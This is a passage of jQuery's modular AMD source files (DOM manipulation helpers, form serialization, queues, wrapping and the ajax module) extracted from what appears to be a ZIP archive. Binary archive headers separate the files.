	i = 0;
	while ( ( elem = nodes[ i++ ] ) ) {

		// Skip elements already in the context collection (trac-4087)
		if ( selection && jQuery.inArray( elem, selection ) > -1 ) {
			if ( ignored ) {
				ignored.push( elem );
			}
			continue;
		}

		contains = jQuery.contains( elem.ownerDocument, elem );

		// Append to fragment
		tmp = getAll( fragment.appendChild( elem ), "script" );

		// Preserve script evaluation history
		if ( contains ) {
			setGlobalEval( tmp );
		}

		// Capture executables
		if ( scripts ) {
			j = 0;
			while ( ( elem = tmp[ j++ ] ) ) {
				if ( rscriptType.test( elem.type || "" ) ) {
					scripts.push( elem );
				}
			}
		}
	}

	return fragment;
}

return buildFragment;
} );
PKg��\I��TT"manipulation/var/rcheckableType.jsnu�[���define( function() {
	"use strict";

	return ( /^(?:checkbox|radio)$/i );
} );
PKg��\|��aamanipulation/var/rscriptType.jsnu�[���define( function() {
	"use strict";

	return ( /^$|^module$|\/(?:java|ecma)script/i );
} );
PKg��\��	E]]manipulation/var/rtagName.jsnu�[���define( function() {
	"use strict";

	return ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i );
} );
PKg��\��s��manipulation/setGlobalEval.jsnu�[���define( [
	"../data/var/dataPriv"
], function( dataPriv ) {

"use strict";

// Mark scripts as having already been evaluated
function setGlobalEval( elems, refElements ) {
	var i = 0,
		l = elems.length;

	for ( ; i < l; i++ ) {
		dataPriv.set(
			elems[ i ],
			"globalEval",
			!refElements || dataPriv.get( refElements[ i ], "globalEval" )
		);
	}
}

return setGlobalEval;
} );
PKg��\�T�;;manipulation/wrapMap.jsnu�[���define( function() {

"use strict";

// We have to close these tags to support XHTML (#13200)
var wrapMap = {

	// Support: IE <=9 only
	option: [ 1, "<select multiple='multiple'>", "</select>" ],

	// XHTML parsers do not magically insert elements in the
	// same way that tag soup parsers do. So we cannot shorten
	// this by omitting <tbody> or other required elements.
	thead: [ 1, "<table>", "</table>" ],
	col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
	tr: [ 2, "<table><tbody>", "</tbody></table>" ],
	td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],

	_default: [ 0, "", "" ]
};

// Support: IE <=9 only
wrapMap.optgroup = wrapMap.option;

wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;

return wrapMap;
} );
PKg��\i����manipulation/getAll.jsnu�[���define( [
	"../core",
	"../core/nodeName"
], function( jQuery, nodeName ) {

"use strict";

function getAll( context, tag ) {

	// Support: IE <=9 - 11 only
	// Use typeof to avoid zero-argument method invocation on host objects (#15151)
	var ret;

	if ( typeof context.getElementsByTagName !== "undefined" ) {
		ret = context.getElementsByTagName( tag || "*" );

	} else if ( typeof context.querySelectorAll !== "undefined" ) {
		ret = context.querySelectorAll( tag || "*" );

	} else {
		ret = [];
	}

	if ( tag === undefined || tag && nodeName( context, tag ) ) {
		return jQuery.merge( [ context ], ret );
	}

	return ret;
}

return getAll;
} );
PKg��\��JX

serialize.jsnu�[���define( [
	"./core",
	"./core/toType",
	"./manipulation/var/rcheckableType",
	"./var/isFunction",
	"./core/init",
	"./traversing", // filter
	"./attributes/prop"
], function( jQuery, toType, rcheckableType, isFunction ) {

"use strict";

var
	rbracket = /\[\]$/,
	rCRLF = /\r?\n/g,
	rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
	rsubmittable = /^(?:input|select|textarea|keygen)/i;

function buildParams( prefix, obj, traditional, add ) {
	var name;

	if ( Array.isArray( obj ) ) {

		// Serialize array item.
		jQuery.each( obj, function( i, v ) {
			if ( traditional || rbracket.test( prefix ) ) {

				// Treat each array item as a scalar.
				add( prefix, v );

			} else {

				// Item is non-scalar (array or object), encode its numeric index.
				buildParams(
					prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]",
					v,
					traditional,
					add
				);
			}
		} );

	} else if ( !traditional && toType( obj ) === "object" ) {

		// Serialize object item.
		for ( name in obj ) {
			buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
		}

	} else {

		// Serialize scalar item.
		add( prefix, obj );
	}
}

// Serialize an array of form elements or a set of
// key/values into a query string
jQuery.param = function( a, traditional ) {
	var prefix,
		s = [],
		add = function( key, valueOrFunction ) {

			// If value is a function, invoke it and use its return value
			var value = isFunction( valueOrFunction ) ?
				valueOrFunction() :
				valueOrFunction;

			s[ s.length ] = encodeURIComponent( key ) + "=" +
				encodeURIComponent( value == null ? "" : value );
		};

	// If an array was passed in, assume that it is an array of form elements.
	if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {

		// Serialize the form elements
		jQuery.each( a, function() {
			add( this.name, this.value );
		} );

	} else {

		// If traditional, encode the "old" way (the way 1.3.2 or older
		// did it), otherwise encode params recursively.
		for ( prefix in a ) {
			buildParams( prefix, a[ prefix ], traditional, add );
		}
	}

	// Return the resulting serialization
	return s.join( "&" );
};

jQuery.fn.extend( {
	serialize: function() {
		return jQuery.param( this.serializeArray() );
	},
	serializeArray: function() {
		return this.map( function() {

			// Can add propHook for "elements" to filter or add form elements
			var elements = jQuery.prop( this, "elements" );
			return elements ? jQuery.makeArray( elements ) : this;
		} )
		.filter( function() {
			var type = this.type;

			// Use .is( ":disabled" ) so that fieldset[disabled] works
			return this.name && !jQuery( this ).is( ":disabled" ) &&
				rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
				( this.checked || !rcheckableType.test( type ) );
		} )
		.map( function( i, elem ) {
			var val = jQuery( this ).val();

			if ( val == null ) {
				return null;
			}

			if ( Array.isArray( val ) ) {
				return jQuery.map( val, function( val ) {
					return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
				} );
			}

			return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
		} ).get();
	}
} );

return jQuery;
} );
PKg��\y�e-��queue.jsnu�[���define( [
	"./core",
	"./data/var/dataPriv",
	"./deferred",
	"./callbacks"
], function( jQuery, dataPriv ) {

"use strict";

jQuery.extend( {
	queue: function( elem, type, data ) {
		var queue;

		if ( elem ) {
			type = ( type || "fx" ) + "queue";
			queue = dataPriv.get( elem, type );

			// Speed up dequeue by getting out quickly if this is just a lookup
			if ( data ) {
				if ( !queue || Array.isArray( data ) ) {
					queue = dataPriv.access( elem, type, jQuery.makeArray( data ) );
				} else {
					queue.push( data );
				}
			}
			return queue || [];
		}
	},

	dequeue: function( elem, type ) {
		type = type || "fx";

		var queue = jQuery.queue( elem, type ),
			startLength = queue.length,
			fn = queue.shift(),
			hooks = jQuery._queueHooks( elem, type ),
			next = function() {
				jQuery.dequeue( elem, type );
			};

		// If the fx queue is dequeued, always remove the progress sentinel
		if ( fn === "inprogress" ) {
			fn = queue.shift();
			startLength--;
		}

		if ( fn ) {

			// Add a progress sentinel to prevent the fx queue from being
			// automatically dequeued
			if ( type === "fx" ) {
				queue.unshift( "inprogress" );
			}

			// Clear up the last queue stop function
			delete hooks.stop;
			fn.call( elem, next, hooks );
		}

		if ( !startLength && hooks ) {
			hooks.empty.fire();
		}
	},

	// Not public - generate a queueHooks object, or return the current one
	_queueHooks: function( elem, type ) {
		var key = type + "queueHooks";
		return dataPriv.get( elem, key ) || dataPriv.access( elem, key, {
			empty: jQuery.Callbacks( "once memory" ).add( function() {
				dataPriv.remove( elem, [ type + "queue", key ] );
			} )
		} );
	}
} );

jQuery.fn.extend( {
	queue: function( type, data ) {
		var setter = 2;

		if ( typeof type !== "string" ) {
			data = type;
			type = "fx";
			setter--;
		}

		if ( arguments.length < setter ) {
			return jQuery.queue( this[ 0 ], type );
		}

		return data === undefined ?
			this :
			this.each( function() {
				var queue = jQuery.queue( this, type, data );

				// Ensure a hooks for this queue
				jQuery._queueHooks( this, type );

				if ( type === "fx" && queue[ 0 ] !== "inprogress" ) {
					jQuery.dequeue( this, type );
				}
			} );
	},
	dequeue: function( type ) {
		return this.each( function() {
			jQuery.dequeue( this, type );
		} );
	},
	clearQueue: function( type ) {
		return this.queue( type || "fx", [] );
	},

	// Get a promise resolved when queues of a certain type
	// are emptied (fx is the type by default)
	promise: function( type, obj ) {
		var tmp,
			count = 1,
			defer = jQuery.Deferred(),
			elements = this,
			i = this.length,
			resolve = function() {
				if ( !( --count ) ) {
					defer.resolveWith( elements, [ elements ] );
				}
			};

		if ( typeof type !== "string" ) {
			obj = type;
			type = undefined;
		}
		type = type || "fx";

		while ( i-- ) {
			tmp = dataPriv.get( elements[ i ], type + "queueHooks" );
			if ( tmp && tmp.empty ) {
				count++;
				tmp.empty.add( resolve );
			}
		}
		resolve();
		return defer.promise( obj );
	}
} );

return jQuery;
} );
PKg��\�k�I��
attributes.jsnu�[���define( [
	"./core",
	"./attributes/attr",
	"./attributes/prop",
	"./attributes/classes",
	"./attributes/val"
], function( jQuery ) {

"use strict";

// Return jQuery for attributes-only inclusion
return jQuery;
} );
PKg��\��5wrap.jsnu�[���define( [
	"./core",
	"./var/isFunction",
	"./core/init",
	"./manipulation", // clone
	"./traversing" // parent, contents
], function( jQuery, isFunction ) {

"use strict";

jQuery.fn.extend( {
	wrapAll: function( html ) {
		var wrap;

		if ( this[ 0 ] ) {
			if ( isFunction( html ) ) {
				html = html.call( this[ 0 ] );
			}

			// The elements to wrap the target around
			wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );

			if ( this[ 0 ].parentNode ) {
				wrap.insertBefore( this[ 0 ] );
			}

			wrap.map( function() {
				var elem = this;

				while ( elem.firstElementChild ) {
					elem = elem.firstElementChild;
				}

				return elem;
			} ).append( this );
		}

		return this;
	},

	wrapInner: function( html ) {
		if ( isFunction( html ) ) {
			return this.each( function( i ) {
				jQuery( this ).wrapInner( html.call( this, i ) );
			} );
		}

		return this.each( function() {
			var self = jQuery( this ),
				contents = self.contents();

			if ( contents.length ) {
				contents.wrapAll( html );

			} else {
				self.append( html );
			}
		} );
	},

	wrap: function( html ) {
		var htmlIsFunction = isFunction( html );

		return this.each( function( i ) {
			jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html );
		} );
	},

	unwrap: function( selector ) {
		this.parent( selector ).not( "body" ).each( function() {
			jQuery( this ).replaceWith( this.childNodes );
		} );
		return this;
	}
} );

return jQuery;
} );
PKg��\� ��Z�Zajax.jsnu�[���define( [
	"./core",
	"./var/document",
	"./var/isFunction",
	"./var/rnothtmlwhite",
	"./ajax/var/location",
	"./ajax/var/nonce",
	"./ajax/var/rquery",

	"./core/init",
	"./ajax/parseXML",
	"./event/trigger",
	"./deferred",
	"./serialize" // jQuery.param
], function( jQuery, document, isFunction, rnothtmlwhite, location, nonce, rquery ) {

"use strict";

var
	r20 = /%20/g,
	rhash = /#.*$/,
	rantiCache = /([?&])_=[^&]*/,
	rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,

	// #7653, #8125, #8152: local protocol detection
	rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
	rnoContent = /^(?:GET|HEAD)$/,
	rprotocol = /^\/\//,

	/* Prefilters
	 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
	 * 2) These are called:
	 *    - BEFORE asking for a transport
	 *    - AFTER param serialization (s.data is a string if s.processData is true)
	 * 3) key is the dataType
	 * 4) the catchall symbol "*" can be used
	 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
	 */
	prefilters = {},

	/* Transports bindings
	 * 1) key is the dataType
	 * 2) the catchall symbol "*" can be used
	 * 3) selection will start with transport dataType and THEN go to "*" if needed
	 */
	transports = {},

	// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
	allTypes = "*/".concat( "*" ),

	// Anchor tag for parsing the document origin
	originAnchor = document.createElement( "a" );
	originAnchor.href = location.href;

// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {

	// dataTypeExpression is optional and defaults to "*"
	return function( dataTypeExpression, func ) {

		if ( typeof dataTypeExpression !== "string" ) {
			func = dataTypeExpression;
			dataTypeExpression = "*";
		}

		var dataType,
			i = 0,
			dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];

		if ( isFunction( func ) ) {

			// For each dataType in the dataTypeExpression
			while ( ( dataType = dataTypes[ i++ ] ) ) {

				// Prepend if requested
				if ( dataType[ 0 ] === "+" ) {
					dataType = dataType.slice( 1 ) || "*";
					( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );

				// Otherwise append
				} else {
					( structure[ dataType ] = structure[ dataType ] || [] ).push( func );
				}
			}
		}
	};
}

// Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {

	var inspected = {},
		seekingTransport = ( structure === transports );

	function inspect( dataType ) {
		var selected;
		inspected[ dataType ] = true;
		jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
			var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
			if ( typeof dataTypeOrTransport === "string" &&
				!seekingTransport && !inspected[ dataTypeOrTransport ] ) {

				options.dataTypes.unshift( dataTypeOrTransport );
				inspect( dataTypeOrTransport );
				return false;
			} else if ( seekingTransport ) {
				return !( selected = dataTypeOrTransport );
			}
		} );
		return selected;
	}

	return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
}

// A special extend for ajax options
// that takes "flat" options (not to be deep extended)
// Fixes #9887
function ajaxExtend( target, src ) {
	var key, deep,
		flatOptions = jQuery.ajaxSettings.flatOptions || {};

	for ( key in src ) {
		if ( src[ key ] !== undefined ) {
			( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
		}
	}
	if ( deep ) {
		jQuery.extend( true, target, deep );
	}

	return target;
}

/* Handles responses to an ajax request:
 * - finds the right dataType (mediates between content-type and expected dataType)
 * - returns the corresponding response
 */
function ajaxHandleResponses( s, jqXHR, responses ) {

	var ct, type, finalDataType, firstDataType,
		contents = s.contents,
		dataTypes = s.dataTypes;

	// Remove auto dataType and get content-type in the process
	while ( dataTypes[ 0 ] === "*" ) {
		dataTypes.shift();
		if ( ct === undefined ) {
			ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" );
		}
	}

	// Check if we're dealing with a known content-type
	if ( ct ) {
		for ( type in contents ) {
			if ( contents[ type ] && contents[ type ].test( ct ) ) {
				dataTypes.unshift( type );
				break;
			}
		}
	}

	// Check to see if we have a response for the expected dataType
	if ( dataTypes[ 0 ] in responses ) {
		finalDataType = dataTypes[ 0 ];
	} else {

		// Try convertible dataTypes
		for ( type in responses ) {
			if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) {
				finalDataType = type;
				break;
			}
			if ( !firstDataType ) {
				firstDataType = type;
			}
		}

		// Or just use first one
		finalDataType = finalDataType || firstDataType;
	}

	// If we found a dataType
	// We add the dataType to the list if needed
	// and return the corresponding response
	if ( finalDataType ) {
		if ( finalDataType !== dataTypes[ 0 ] ) {
			dataTypes.unshift( finalDataType );
		}
		return responses[ finalDataType ];
	}
}

/* Chain conversions given the request and the original response
 * Also sets the responseXXX fields on the jqXHR instance
 */
function ajaxConvert( s, response, jqXHR, isSuccess ) {
	var conv2, current, conv, tmp, prev,
		converters = {},

		// Work with a copy of dataTypes in case we need to modify it for conversion
		dataTypes = s.dataTypes.slice();

	// Create converters map with lowercased keys
	if ( dataTypes[ 1 ] ) {
		for ( conv in s.converters ) {
			converters[ conv.toLowerCase() ] = s.converters[ conv ];
		}
	}

	current = dataTypes.shift();

	// Convert to each sequential dataType
	while ( current ) {

		if ( s.responseFields[ current ] ) {
			jqXHR[ s.responseFields[ current ] ] = response;
		}

		// Apply the dataFilter if provided
		if ( !prev && isSuccess && s.dataFilter ) {
			response = s.dataFilter( response, s.dataType );
		}

		prev = current;
		current = dataTypes.shift();

		if ( current ) {

			// There's only work to do if current dataType is non-auto
			if ( current === "*" ) {

				current = prev;

			// Convert response if prev dataType is non-auto and differs from current
			} else if ( prev !== "*" && prev !== current ) {

				// Seek a direct converter
				conv = converters[ prev + " " + current ] || converters[ "* " + current ];

				// If none found, seek a pair
				if ( !conv ) {
					for ( conv2 in converters ) {

						// If conv2 outputs current
						tmp = conv2.split( " " );
						if ( tmp[ 1 ] === current ) {

							// If prev can be converted to accepted input
							conv = converters[ prev + " " + tmp[ 0 ] ] ||
								converters[ "* " + tmp[ 0 ] ];
							if ( conv ) {

								// Condense equivalence converters
								if ( conv === true ) {
									conv = converters[ conv2 ];

								// Otherwise, insert the intermediate dataType
								} else if ( converters[ conv2 ] !== true ) {
									current = tmp[ 0 ];
									dataTypes.unshift( tmp[ 1 ] );
								}
								break;
							}
						}
					}
				}

				// Apply converter (if not an equivalence)
				if ( conv !== true ) {

					// Unless errors are allowed to bubble, catch and return them
					if ( conv && s.throws ) {
						response = conv( response );
					} else {
						try {
							response = conv( response );
						} catch ( e ) {
							return {
								state: "parsererror",
								error: conv ? e : "No conversion from " + prev + " to " + current
							};
						}
					}
				}
			}
		}
	}

	return { state: "success", data: response };
}

jQuery.extend( {

	// Counter for holding the number of active queries
	active: 0,

	// Last-Modified header cache for next request
	lastModified: {},
	etag: {},

	ajaxSettings: {
		url: location.href,
		type: "GET",
		isLocal: rlocalProtocol.test( location.protocol ),
		global: true,
		processData: true,
		async: true,
		contentType: "application/x-www-form-urlencoded; charset=UTF-8",

		/*
		timeout: 0,
		data: null,
		dataType: null,
		username: null,
		password: null,
		cache: null,
		throws: false,
		traditional: false,
		headers: {},
		*/

		accepts: {
			"*": allTypes,
			text: "text/plain",
			html: "text/html",
			xml: "application/xml, text/xml",
			json: "application/json, text/javascript"
		},

		contents: {
			xml: /\bxml\b/,
			html: /\bhtml/,
			json: /\bjson\b/
		},

		responseFields: {
			xml: "responseXML",
			text: "responseText",
			json: "responseJSON"
		},

		// Data converters
		// Keys separate source (or catchall "*") and destination types with a single space
		converters: {

			// Convert anything to text
			"* text": String,

			// Text to html (true = no transformation)
			"text html": true,

			// Evaluate text as a json expression
			"text json": JSON.parse,

			// Parse text as xml
			"text xml": jQuery.parseXML
		},

		// For options that shouldn't be deep extended:
		// you can add your own custom options here if
		// and when you create one that shouldn't be
		// deep extended (see ajaxExtend)
		flatOptions: {
			url: true,
			context: true
		}
	},

	// Creates a full fledged settings object into target
	// with both ajaxSettings and settings fields.
	// If target is omitted, writes into ajaxSettings.
	ajaxSetup: function( target, settings ) {
		return settings ?

			// Building a settings object
			ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :

			// Extending ajaxSettings
			ajaxExtend( jQuery.ajaxSettings, target );
	},

	ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
	ajaxTransport: addToPrefiltersOrTransports( transports ),

	// Main method
	ajax: function( url, options ) {

		// If url is an object, simulate pre-1.5 signature
		if ( typeof url === "object" ) {
			options = url;
			url = undefined;
		}

		// Force options to be an object
		options = options || {};

		var transport,

			// URL without anti-cache param
			cacheURL,

			// Response headers
			responseHeadersString,
			responseHeaders,

			// timeout handle
			timeoutTimer,

			// Url cleanup var
			urlAnchor,

			// Request state (becomes false upon send and true upon completion)
			completed,

			// To know if global events are to be dispatched
			fireGlobals,

			// Loop variable
			i,

			// uncached part of the url
			uncached,

			// Create the final options object
			s = jQuery.ajaxSetup( {}, options ),

			// Callbacks context
			callbackContext = s.context || s,

			// Context for global events is callbackContext if it is a DOM node or jQuery collection
			globalEventContext = s.context &&
				( callbackContext.nodeType || callbackContext.jquery ) ?
					jQuery( callbackContext ) :
					jQuery.event,

			// Deferreds
			deferred = jQuery.Deferred(),
			completeDeferred = jQuery.Callbacks( "once memory" ),

			// Status-dependent callbacks
			statusCode = s.statusCode || {},

			// Headers (they are sent all at once)
			requestHeaders = {},
			requestHeadersNames = {},

			// Default abort message
			strAbort = "canceled",

			// Fake xhr
			jqXHR = {
				readyState: 0,

				// Builds headers hashtable if needed
				getResponseHeader: function( key ) {
					var match;
					if ( completed ) {
						if ( !responseHeaders ) {
							responseHeaders = {};
							while ( ( match = rheaders.exec( responseHeadersString ) ) ) {
								responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];
							}
						}
						match = responseHeaders[ key.toLowerCase() ];
					}
					return match == null ? null : match;
				},

				// Raw string
				getAllResponseHeaders: function() {
					return completed ? responseHeadersString : null;
				},

				// Caches the header
				setRequestHeader: function( name, value ) {
					if ( completed == null ) {
						name = requestHeadersNames[ name.toLowerCase() ] =
							requestHeadersNames[ name.toLowerCase() ] || name;
						requestHeaders[ name ] = value;
					}
					return this;
				},

				// Overrides response content-type header
				overrideMimeType: function( type ) {
					if ( completed == null ) {
						s.mimeType = type;
					}
					return this;
				},

				// Status-dependent callbacks
				statusCode: function( map ) {
					var code;
					if ( map ) {
						if ( completed ) {

							// Execute the appropriate callbacks
							jqXHR.always( map[ jqXHR.status ] );
						} else {

							// Lazy-add the new callbacks in a way that preserves old ones
							for ( code in map ) {
								statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
							}
						}
					}
					return this;
				},

				// Cancel the request
				abort: function( statusText ) {
					var finalText = statusText || strAbort;
					if ( transport ) {
						transport.abort( finalText );
					}
					done( 0, finalText );
					return this;
				}
			};

		// Attach deferreds
		deferred.promise( jqXHR );

		// Add protocol if not provided (prefilters might expect it)
		// Handle falsy url in the settings object (#10093: consistency with old signature)
		// We also use the url parameter if available
		s.url = ( ( url || s.url || location.href ) + "" )
			.replace( rprotocol, location.protocol + "//" );

		// Alias method option to type as per ticket #12004
		s.type = options.method || options.type || s.method || s.type;

		// Extract dataTypes list
		s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ];

		// A cross-domain request is in order when the origin doesn't match the current origin.
		if ( s.crossDomain == null ) {
			urlAnchor = document.createElement( "a" );

			// Support: IE <=8 - 11, Edge 12 - 15
			// IE throws exception on accessing the href property if url is malformed,
			// e.g. http://example.com:80x/
			try {
				urlAnchor.href = s.url;

				// Support: IE <=8 - 11 only
				// Anchor's host property isn't correctly set when s.url is relative
				urlAnchor.href = urlAnchor.href;
				s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !==
					urlAnchor.protocol + "//" + urlAnchor.host;
			} catch ( e ) {

				// If there is an error parsing the URL, assume it is crossDomain,
				// it can be rejected by the transport if it is invalid
				s.crossDomain = true;
			}
		}

		// Convert data if not already a string
		if ( s.data && s.processData && typeof s.data !== "string" ) {
			s.data = jQuery.param( s.data, s.traditional );
		}

		// Apply prefilters
		inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );

		// If request was aborted inside a prefilter, stop there
		if ( completed ) {
			return jqXHR;
		}

		// We can fire global events as of now if asked to
		// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)
		fireGlobals = jQuery.event && s.global;

		// Watch for a new set of requests
		if ( fireGlobals && jQuery.active++ === 0 ) {
			jQuery.event.trigger( "ajaxStart" );
		}

		// Uppercase the type
		s.type = s.type.toUpperCase();

		// Determine if request has content
		s.hasContent = !rnoContent.test( s.type );

		// Save the URL in case we're toying with the If-Modified-Since
		// and/or If-None-Match header later on
		// Remove hash to simplify url manipulation
		cacheURL = s.url.replace( rhash, "" );

		// More options handling for requests with no content
		if ( !s.hasContent ) {

			// Remember the hash so we can put it back
			uncached = s.url.slice( cacheURL.length );

			// If data is available and should be processed, append data to url
			if ( s.data && ( s.processData || typeof s.data === "string" ) ) {
				cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data;

				// #9682: remove data so that it's not used in an eventual retry
				delete s.data;
			}

			// Add or update anti-cache param if needed
			if ( s.cache === false ) {
				cacheURL = cacheURL.replace( rantiCache, "$1" );
				uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce++ ) + uncached;
			}

			// Put hash and anti-cache on the URL that will be requested (gh-1732)
			s.url = cacheURL + uncached;

		// Change '%20' to '+' if this is encoded form body content (gh-2658)
		} else if ( s.data && s.processData &&
			( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) {
			s.data = s.data.replace( r20, "+" );
		}

		// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
		if ( s.ifModified ) {
			if ( jQuery.lastModified[ cacheURL ] ) {
				jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
			}
			if ( jQuery.etag[ cacheURL ] ) {
				jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
			}
		}

		// Set the correct header, if data is being sent
		if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
			jqXHR.setRequestHeader( "Content-Type", s.contentType );
		}

		// Set the Accepts header for the server, depending on the dataType
		jqXHR.setRequestHeader(
			"Accept",
			s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?
				s.accepts[ s.dataTypes[ 0 ] ] +
					( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
				s.accepts[ "*" ]
		);

		// Check for headers option
		for ( i in s.headers ) {
			jqXHR.setRequestHeader( i, s.headers[ i ] );
		}

		// Allow custom headers/mimetypes and early abort
		if ( s.beforeSend &&
			( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {

			// Abort if not done already and return
			return jqXHR.abort();
		}

		// Aborting is no longer a cancellation
		strAbort = "abort";

		// Install callbacks on deferreds
		completeDeferred.add( s.complete );
		jqXHR.done( s.success );
		jqXHR.fail( s.error );

		// Get transport
		transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );

		// If no transport, we auto-abort
		if ( !transport ) {
			done( -1, "No Transport" );
		} else {
			jqXHR.readyState = 1;

			// Send global event
			if ( fireGlobals ) {
				globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
			}

			// If request was aborted inside ajaxSend, stop there
			if ( completed ) {
				return jqXHR;
			}

			// Timeout
			if ( s.async && s.timeout > 0 ) {
				timeoutTimer = window.setTimeout( function() {
					jqXHR.abort( "timeout" );
				}, s.timeout );
			}

			try {
				completed = false;
				transport.send( requestHeaders, done );
			} catch ( e ) {

				// Rethrow post-completion exceptions
				if ( completed ) {
					throw e;
				}

				// Propagate others as results
				done( -1, e );
			}
		}

		// Callback for when everything is done
		function done( status, nativeStatusText, responses, headers ) {
			var isSuccess, success, error, response, modified,
				statusText = nativeStatusText;

			// Ignore repeat invocations
			if ( completed ) {
				return;
			}

			completed = true;

			// Clear timeout if it exists
			if ( timeoutTimer ) {
				window.clearTimeout( timeoutTimer );
			}

			// Dereference transport for early garbage collection
			// (no matter how long the jqXHR object will be used)
			transport = undefined;

			// Cache response headers
			responseHeadersString = headers || "";

			// Set readyState
			jqXHR.readyState = status > 0 ? 4 : 0;

			// Determine if successful
			isSuccess = status >= 200 && status < 300 || status === 304;

			// Get response data
			if ( responses ) {
				response = ajaxHandleResponses( s, jqXHR, responses );
			}

			// Convert no matter what (that way responseXXX fields are always set)
			response = ajaxConvert( s, response, jqXHR, isSuccess );

			// If successful, handle type chaining
			if ( isSuccess ) {

				// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
				if ( s.ifModified ) {
					modified = jqXHR.getResponseHeader( "Last-Modified" );
					if ( modified ) {
						jQuery.lastModified[ cacheURL ] = modified;
					}
					modified = jqXHR.getResponseHeader( "etag" );
					if ( modified ) {
						jQuery.etag[ cacheURL ] = modified;
					}
				}

				// if no content
				if ( status === 204 || s.type === "HEAD" ) {
					statusText = "nocontent";

				// if not modified
				} else if ( status === 304 ) {
					statusText = "notmodified";

				// If we have data, let's convert it
				} else {
					statusText = response.state;
					success = response.data;
					error = response.error;
					isSuccess = !error;
				}
			} else {

				// Extract error from statusText and normalize for non-aborts
				error = statusText;
				if ( status || !statusText ) {
					statusText = "error";
					if ( status < 0 ) {
						status = 0;
					}
				}
			}

			// Set data for the fake xhr object
			jqXHR.status = status;
			jqXHR.statusText = ( nativeStatusText || statusText ) + "";

			// Success/Error
			if ( isSuccess ) {
				deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
			} else {
				deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
			}

			// Status-dependent callbacks
			jqXHR.statusCode( statusCode );
			statusCode = undefined;

			if ( fireGlobals ) {
				globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
					[ jqXHR, s, isSuccess ? success : error ] );
			}

			// Complete
			completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );

			if ( fireGlobals ) {
				globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );

				// Handle the global AJAX counter
				if ( !( --jQuery.active ) ) {
					jQuery.event.trigger( "ajaxStop" );
				}
			}
		}

		return jqXHR;
	},

	getJSON: function( url, data, callback ) {
		return jQuery.get( url, data, callback, "json" );
	},

	getScript: function( url, callback ) {
		return jQuery.get( url, undefined, callback, "script" );
	}
} );

jQuery.each( [ "get", "post" ], function( i, method ) {
	jQuery[ method ] = function( url, data, callback, type ) {

		// Shift arguments if data argument was omitted
		if ( isFunction( data ) ) {
			type = type || callback;
			callback = data;
			data = undefined;
		}

		// The url can be an options object (which then must have .url)
		return jQuery.ajax( jQuery.extend( {
			url: url,
			type: method,
			dataType: type,
			data: data,
			success: callback
		}, jQuery.isPlainObject( url ) && url ) );
	};
} );

return jQuery;
} );
PKg��\����F�F
effects.jsnu�[���define( [
	"./core",
	"./core/camelCase",
	"./var/document",
	"./var/isFunction",
	"./var/rcssNum",
	"./var/rnothtmlwhite",
	"./css/var/cssExpand",
	"./css/var/isHiddenWithinTree",
	"./css/var/swap",
	"./css/adjustCSS",
	"./data/var/dataPriv",
	"./css/showHide",

	"./core/init",
	"./queue",
	"./deferred",
	"./traversing",
	"./manipulation",
	"./css",
	"./effects/Tween"
